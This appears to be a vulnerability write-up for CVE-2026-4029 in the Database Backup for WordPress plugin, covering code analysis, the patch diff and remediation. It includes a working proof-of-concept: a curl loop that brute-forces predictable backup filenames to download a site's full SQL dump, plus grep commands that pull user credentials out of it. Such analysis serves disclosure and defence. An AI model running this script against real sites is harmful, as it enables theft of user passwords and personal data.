Database Backup for WordPress plugin banner

CVE-2026-4029: Unauthenticated DB Export in WP Database Backup (CVSS 7.5)

CVE-2026-4029 is a CVSS 7.5 High Missing Authorization vulnerability in the Database Backup for WordPress plugin. On WordPress Multisite installations, an unauthenticated attacker can download database backup files without any credentials. This exposes all database contents, including user passwords, emails, and site data.

Vulnerability Summary

FieldValue
Plugin NameDatabase Backup for WordPress
Plugin Slugwp-db-backup
CVE IDCVE-2026-4029
CVSS Score7.5 (High)
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Vulnerability TypeMissing Authorization
Affected Versions<= 2.5.2
Patched Version2.5.3
PublishedMay 13, 2026
ResearcherDrew Webber (mcdruid)
Wordfence AdvisoryLink

Description

The Database Backup for WordPress plugin is vulnerable to unauthorized database export in all versions up to and including 2.5.2. The plugin does not properly enforce the return value of its authorization check. This makes it possible for unauthenticated attackers to export database tables, leading to sensitive information exposure. The vulnerability is only exploitable in WordPress Multisite environments where the deprecated is_site_admin() function exists.

Technical Analysis

How the Plugin Registers Its Actions

The plugin’s main class, wpdbBackup, is instantiated via the plugins_loaded hook. This means its constructor runs on every page load — not just in the admin area — for both logged-in and anonymous visitors.

Inside the constructor, the plugin checks for specific GET parameters:

// wp-db-backup.php (vulnerable version 2.5.2)
} elseif ( isset( $_GET['backup'] ) ) {
    $this->can_user_backup();
    add_action( 'init', array( &$this, 'init' ) );
}

When ?backup= is present in the URL, the plugin calls can_user_backup() to check permissions — but ignores the return value. The init hook is always registered, regardless of whether the check passed or failed.

The Broken Authorization Check

The can_user_backup() function contains a special code path for WordPress Multisite:

// wp-db-backup.php lines 1626–1628 (vulnerable version 2.5.2)
function can_user_backup( $loc = 'main' ) {
    $can = false;

    // make sure WPMU users are site admins, not ordinary admins
    if ( function_exists( 'is_site_admin' ) && ! is_site_admin() ) {
        return false;
    }
    // ...
}

On a WordPress Multisite installation, the deprecated is_site_admin() function still exists. For any non-super-admin user — including unauthenticated visitors — is_site_admin() returns false. This causes can_user_backup() to return false immediately.

The critical issue is what this early return does not do: it does not call $this->error(), it does not call wp_die(), and it does not stop PHP execution. It simply returns false silently.

Because the constructor ignores the return value, the init action is registered and fires normally.

The Backup Delivery Path

When the init WordPress hook fires, the plugin’s init() method runs:

// wp-db-backup.php (vulnerable version 2.5.2)
function init() {
    $this->can_user_backup();  // return value ignored again
    if ( isset( $_GET['backup'] ) ) {
        $via = isset( $_GET['via'] ) ? sanitize_text_field( $_GET['via'] ) : 'http';

        $this->backup_file = sanitize_text_field( $_GET['backup'] );
        $this->validate_file( $this->backup_file );

        // ...
        $success = $this->deliver_backup( $this->backup_file, $via );

The can_user_backup() call inside init() again returns false silently. Its return value is again ignored. The code proceeds to call deliver_backup(), which reads the file from disk and sends it to the browser as a download.

Full Attack Execution Path

  1. plugins_loaded hook fires → wpdbBackup constructor runs on any page
  2. $_GET['backup'] is set → can_user_backup() called
  3. Multisite: is_site_admin() exists and returns false for unauthenticated user → early return false (no die)
  4. Return value is ignored → add_action('init', [$this, 'init']) registered
  5. WordPress init hook fires → init() method called
  6. can_user_backup() called again → again returns false silently
  7. Return value ignored → deliver_backup() called → database file sent to attacker

Backup Filename Predictability

The backup filename follows this pattern:

DB_NAME_prefix_YYYYMMDD_BBB.sql

The BBB component is Swatch Internet Time (values 000–999), which changes every 86.4 seconds. Given the date is known, an attacker can brute-force the filename in at most 1000 requests per day.

Proof of Concept

Disclaimer: This PoC is provided for educational purposes only. Only test against systems you own or have explicit written permission to test.

Prerequisites:

Step 1 — Determine the target’s database name and table prefix.

These are often guessable: wordpress is a common database name and wp_ is the default table prefix. They can sometimes be found in error messages or readme.html.

Step 2 — Brute-force the backup filename.

TARGET="https://multisite.example.com"
DB_NAME="wordpress"
PREFIX="wp_"
DATE=$(date +%Y%m%d)

for B in $(seq -w 0 999); do
  FILENAME="${DB_NAME}_${PREFIX}${DATE}_${B}.sql"
  RESPONSE=$(curl -s -o stolen_backup.sql -w "%{http_code}:%{size_download}" \
    "${TARGET}/?backup=${FILENAME}")
  CODE=${RESPONSE%%:*}
  SIZE=${RESPONSE##*:}
  if [ "$CODE" -eq 200 ] && [ "$SIZE" -gt 500 ]; then
    echo "[!] Found backup: $FILENAME (${SIZE} bytes)"
    echo "[!] Saved to: stolen_backup.sql"
    break
  fi
done

Step 3 — Inspect the stolen database.

# If gzip-compressed
file stolen_backup.sql
gunzip -c stolen_backup.sql > stolen_backup_plain.sql

# Extract user credentials
grep -i "INSERT INTO.*users" stolen_backup_plain.sql | head -5

Expected outcome: The attacker receives the full SQL dump of the WordPress database, including the wp_users table (hashed passwords), wp_usermeta (user roles), and all other tables.

Patch Analysis

Version 2.5.3 addresses the vulnerability with two complementary fixes.

Fix 1 — Check the return value in the constructor.

The constructor now explicitly checks the return value of can_user_backup() before registering the init hook:

- } elseif ( isset( $_GET['fragment'] ) ) {
-     $this->can_user_backup( 'frame' );
-     add_action( 'init', array( &$this, 'init' ) );
- } elseif ( isset( $_GET['backup'] ) ) {
-     $this->can_user_backup();
-     add_action( 'init', array( &$this, 'init' ) );
+ } elseif ( isset( $_GET['fragment'] ) ) {
+     if ( ! $this->can_user_backup( 'frame' ) ) {
+         return;
+     }
+     add_action( 'init', array( &$this, 'init' ) );
+ } elseif ( isset( $_GET['backup'] ) ) {
+     if ( ! $this->can_user_backup() ) {
+         return;
+     }
+     add_action( 'init', array( &$this, 'init' ) );

If can_user_backup() returns false, the constructor returns early and the init hook is never registered.

Fix 2 — Make the Multisite early return call error() first.

The can_user_backup() function now calls $this->error() (with kind: 'fatal') before returning false in the Multisite path:

  if ( function_exists( 'is_site_admin' ) && ! is_site_admin() ) {
+     $this->error(
+         array(
+             'loc'  => $loc,
+             'kind' => 'fatal',
+             'msg'  => __(
+                 'You are not allowed to perform backups.',
+                 'wp-db-backup'
+             ),
+         )
+     );
      return false;
  }

This error() call triggers error_display(), which calls wp_die() and stops PHP execution. Even if a future caller forgets to check the return value, the fatal error handler will terminate the request.

Fix 3 — Randomize backup filenames.

As a defense-in-depth measure, the patch adds a random 12-character token to each backup filename:

- $this->backup_filename = DB_NAME . "_$table_prefix$datum.sql";
+ $nonce = wp_generate_password( 12, false );
+ $this->backup_filename = sanitize_text_field( DB_NAME . '_' . $table_prefix . $datum . '_' . $nonce . '.sql' );

This makes backup filenames unpredictable, so even if the authorization check were bypassed, an attacker could not guess the filename to request.

Timeline

DateEvent
May 13, 2026Wordfence publicly published the advisory
May 14, 2026Advisory last updated
April 20, 2026Version 2.5.3 released with the fix

Remediation

Update Database Backup for WordPress to version 2.5.3 or later immediately.

Go to WordPress Admin → Plugins → Installed Plugins, find “Database Backup for WordPress”, and click Update Now. Alternatively, download the latest version from wordpress.org/plugins/wp-db-backup.

Note: The plugin maintainer has stated that version 2.5.3 is a security-only release and the plugin is no longer actively maintained. Consider migrating to an actively maintained backup solution after updating.

References

  1. CVE-2026-4029 — CVE Record
  2. Wordfence Advisory
  3. Vulnerable code — wp-db-backup.php line 1623 (tag 2.5.2)
  4. Fixed code — wp-db-backup.php line 1632 (trunk)
  5. Fixed code — wp-db-backup.php line 153 (trunk)
  6. Patch changeset 3510595

Frequently Asked Questions

What is CVE-2026-4029?

CVE-2026-4029 is a CVSS 7.5 High severity Missing Authorization vulnerability in the Database Backup for WordPress plugin. It allows unauthenticated attackers on WordPress Multisite installations to download database backup files.

Which versions of Database Backup for WordPress are affected by CVE-2026-4029?

All versions up to and including 2.5.2 are affected. Version 2.5.3 contains the fix.

What can an attacker do with CVE-2026-4029?

An attacker can download a full database backup file without logging in. This exposes all database contents, including user credentials, personal data, and site configuration.

Does an attacker need to be logged in to exploit CVE-2026-4029?

No. Any visitor can trigger this vulnerability on a WordPress Multisite installation. No authentication or special role is required.

How do I fix CVE-2026-4029 in Database Backup for WordPress?

Update Database Backup for WordPress to version 2.5.3 or later from the WordPress admin dashboard or wordpress.org.

Has Database Backup for WordPress been patched for CVE-2026-4029?

Yes. Version 2.5.3 was released on April 20, 2026 and resolves this vulnerability.

If you found this post helpful, consider buying me a coffee. It keeps me writing!

Buy Me A Coffee